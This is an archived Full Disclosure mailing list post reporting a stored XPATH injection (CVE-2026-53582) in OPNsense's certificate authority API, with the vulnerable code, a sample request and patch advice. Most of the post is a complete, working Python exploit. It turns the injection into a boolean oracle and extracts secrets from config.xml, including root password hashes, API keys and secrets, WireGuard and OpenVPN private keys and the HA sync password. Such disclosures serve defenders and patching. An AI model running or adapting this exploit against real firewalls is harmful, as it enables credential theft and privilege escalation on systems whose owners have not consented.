threat_intelligence815 wordsRead on Arc Codex

OPNsense XPATH Injection (CVE

Full Disclosure mailing list archives OPNsense XPATH Injection (CVE-2026-53582) From: evan <evan@zenith.hosting> Date: Fri, 3 Jul 2026 20:56:32 +1000 SUMMARY: a stored XPATH injection allows any user with just ca manager/certificate manager perms to leak any secret key/any value in config.xml, thus achieving privilege escalation and potentially remote code execution. this can also likely be chained via csrf and some clever hiding. see https://github.com/opnsense/core/security/advisories/GHSA-xww7-76m6-mh2r == VULN == the primary vulnerable sink is here: $refcount = count(Config::getInstance()->object()->xpath("//*[text() = '{$node->refid}']")) - 1; as we control node->refid, which can be seen in here: protected function setBaseHook($node) { if (empty((string)$node->refid)) { $node->refid = uniqid(); } $error = false; if (!empty((string)$node->prv_payload)) { /** private key manually offered */ $node->prv = base64_encode((string)$node->prv_payload); } we know that if refid is empty it'll be a uniqid - which means its meant to be alphanumeric. notably, there are no preg_match/regex matches that check whether or not a user supplied refid isnt alphanumeric. in this case, we can now test this by hitting this endpoint: POST /api/trust/ca/add HTTP/12.1 Content-Type: application/x-www-form-urlencoded ca[refid]=<payload>&ca[descr]=hi+lol&ca[action]=internal&ca[commonname]=hey&ca[key_type]=2048&ca[digest]=sha256&ca[lifetime]=825&ca[country]=NL&ca[state]=idk&ca[city]=lo&ca[organization]=x&ca[email]=asdf () example com to truly exploit this we can write a script that turns the xpath injection we have into a decent boolean oracle, then slowly leak each character. for example, an openvpn private key or a root password hash. == xp == import argparse import string import sys import random import threading from concurrent.futures import ThreadPoolExecutor from queue import Queue import requests import urllib3 urllib3.disable_warnings() # yeah idk dude iiwiw lol targs = { "wgppk": "//OPNsense/wireguard/server/servers/server/privkey", "wgpsk": "//OPNsense/wireguard/client/clients/client/psk", "hasyncpw": "//hasync/password", "roothash": "//system/user/password", "rootkey": "//system/user/apikeys/item/key", "rootsecret": "//system/user/apikeys/item/secret", "openvpnkey": "//OPNsense/OpenVPN/Instances/Instance/key" } cset = sorted(set(string.ascii_letters + string.digits + "+/=$._-:; ")) # print("".join(cset)) makecanary = lambda: f"__TUNG_{random.randint(100000, 999999)}__" total = 0 lock = threading.Lock() # mega ass def sesh(a): s = requests.Session() s.auth = a s.verify = False return s def prober(s, base, n): canary = makecanary() r = s.post(f"{base}/api/trust/ca/add", data={ "ca[refid]": canary, "ca[descr]": f"p{n}", "ca[action]": "internal", "ca[commonname]": f"p{n}", }, timeout=30) return r.json().get("uuid", "n/a"), canary def inj(s, base, ca_uuid, nx, condition): global total payload = f"{nx}' or ({condition}) or 'x'='" s.post( f"{base}/api/trust/ca/set/{ca_uuid}", data={"ca[refid]": payload}, timeout=30, ) r = s.get(f"{base}/api/trust/ca/get/{ca_uuid}", timeout=30) with lock: total += 1 ca = r.json().get("ca", {}) # refcount = int(ca["refcount"]) refcount = int(ca.get("refcount", "0")) return refcount > 0 def getlen(s, base, ca, nx, xpath): lo, hi = 0, 300 while lo < hi: mid = (lo + hi + 1) // 2 if inj(s, base, ca, nx, f"string-length({xpath})>={mid}"): lo = mid else: hi = mid - 1 return lo def binsrch(s, base, ca, nx, xpath, pos): cands = cset[:] while len(cands) > 1: midpoint = len(cands) // 2 half = "".join(cands[:midpoint]) cond = f"contains('{half}', substring({xpath},{pos},1))" if inj(s, base, ca, nx, cond): cands = cands[:midpoint] else: cands = cands[midpoint:] c = cands[0] if c == "'": lit = f'"{c}"' else: lit = f"'{c}'" cond = f"substring({xpath},{pos},1)={lit}" if inj(s, base, ca, nx, cond): return c return None def extract(workers, base, xpath): s0, ca0, nx0 = workers[0] length = getlen(s0, base, ca0, nx0, xpath) if length == 0: return "" print(f"+ maybe {length} len") result = ["?"] * length wq = Queue() for w in workers: wq.put(w) # start grabbing def do(pos): s, ca, nx = wq.get() try: return pos, binsrch(s, base, ca, nx, xpath, pos + 1) finally: wq.put((s, ca, nx)) with ThreadPoolExecutor(max_workers=len(workers)) as pool: # for pos, ch in pool.map(doer_func(p), range(length)): for pos, ch in pool.map(lambda p: do(p), range(length)): if ch: result[pos] = ch sys.stdout.write(ch or "#") sys.stdout.flush() print() return "".join(result) def main(): global total print("xray") target_names = list(targs.keys()) target_list = "\n".join(f"{k}:{v}" for k, v in targs.items()) # i gave it a bs name parser = argparse.ArgumentParser( description="x-ray", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="extractables:\n" + target_list, ) parser.add_argument("targ", help="base url") parser.add_argument("api_key", help="you need this") parser.add_argument("api_secret", help="this too") parser.add_argument("target", nargs="?", default="all", choices=target_names + ["all"], help="target to extract") parser.add_argument("-w", "--workers", type=int, default=8, help="how many workers in parallel") args = parser.parse_args() base = args.targ.rstrip("/") auth = (args.api_key, args.api_secret) s = sesh(auth) r = s.get(f"{base}/api/trust/ca/search", timeout=10) if r.status_code != 200: print("- bro") sys.exit(1) print("+ oh sweet we can access the ca api") workers = [] for i in range(args.workers): ws = sesh(auth) uuid, nx = prober(ws, base, i) if not uuid: print("creating probe failed (prober)") sys.exit(1) workers.append((ws, uuid, nx)) print(f"+ {args.workers} probing\n") # extract if args.target == "all": targets = targs else: targets = {args.target: targs[args.target]} for name, xpath in targets.items(): print(f"+ {name}") s0, ca0, nx0 = workers[0] if not inj(s0, base, ca0, nx0, f"boolean({xpath})"): print("n/a") continue val = extract(workers, base, xpath) print(f"{repr(val)} ({total} reqs)\n") # finally: # nvm # cleanup but not really beacuse im lazy for ws, ca, nx in workers: ws.post(f"{base}/api/trust/ca/set/{ca}", data={"ca[refid]": nx}, timeout=30) print(f"+ done {total}") if __name__ == "__main__": main() == PATCH/MITIG == update to 26.1.10. alternatively, add a preg_match guard and an input mask to Ca.xml by hand (if youre about that life) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/ Current thread: - OPNsense XPATH Injection (CVE-2026-53582) evan (Jul 06)

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached — you'll always get the same 5 for this article.